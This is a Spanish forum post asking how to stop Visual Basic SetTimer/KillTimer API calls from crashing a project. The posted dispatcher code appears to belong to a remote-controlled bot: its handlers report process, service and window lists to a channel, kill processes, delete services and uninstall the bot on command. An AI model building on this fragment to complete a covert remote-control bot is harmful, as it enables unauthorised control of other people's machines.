Bueno, me habian comentado sobre el Threading, para la ejecucion en otro hilo.. entonces me habian dicho que en visual basic se imita bien usando timers, para no estar poniendo millones de controles he querido usar estas APis, el problema es que hacen crashear facilmente el proyecto..
Aqui dejo un cacho de codigo..
Private Function set_Timer(ByVal s_Index As Integer)
Select Case s_Index
Case 1:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f1_Timer)
Case 2:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f2_Timer)
Case 3:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f3_Timer)
Case 4:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f4_Timer)
Case 5:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f5_Timer)
Case 6:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f6_Timer)
Case 7:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f7_Timer)
Case 8:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f8_Timer)
Case 9:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f9_Timer)
Case 10:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f10_Timer)
Case 11:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f11_Timer)
Case 12:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f12_Timer)
End Select
End Function
Private Function f1_Timer()
If p = 0 Then
Sender_Info (s_Chan)
id_Timer(1) = KillTimer(0, id_Timer(1))
End If
End Function
Private Function f2_Timer()
If p = 0 Then
Sender_TotalInfo (s_Chan)
id_Timer(2) = KillTimer(0, id_Timer(2))
End If
End Function
Private Function f3_Timer()
If p = 0 Then
Sender_Process (s_Chan)
id_Timer(3) = KillTimer(0, id_Timer(3))
End If
End Function
Private Function f4_Timer()
If p = 0 Then
Terminate_Process (Command(2))
id_Timer(4) = KillTimer(0, id_Timer(4))
End If
End Function
Private Function f5_Timer()
If p = 0 Then
Sender_Services (s_Chan)
id_Timer(5) = KillTimer(0, id_Timer(5))
End If
End Function
Private Function f6_Timer()
If p = 0 Then
Start_Service (Command(2))
id_Timer(6) = KillTimer(0, id_Timer(6))
End If
End Function
Private Function f7_Timer()
If p = 0 Then
Stop_Service (Command(2))
id_Timer(7) = KillTimer(0, id_Timer(7))
End If
End Function
Private Function f8_Timer()
If p = 0 Then
Delete_Service (Command(2))
id_Timer(8) = KillTimer(0, id_Timer(8))
End If
End Function
Private Function f9_Timer()
If p = 0 Then
Restart_BOT
id_Timer(9) = KillTimer(0, id_Timer(9))
End If
End Function
Private Function f10_Timer()
If p = 0 Then
Close_BOT
id_Timer(10) = KillTimer(0, id_Timer(10))
End If
End Function
Private Function f11_Timer()
If p = 0 Then
Uninstall_BOT
id_Timer(11) = KillTimer(0, id_Timer(11))
End If
End Function
Private Function f12_Timer()
If p = 0 Then
Sender_Windows (s_Chan)
id_Timer(12) = KillTimer(0, id_Timer(12))
End If
End Function
Me gustaria saber alguna forma de intentar evitar esos crashes..
Saludos!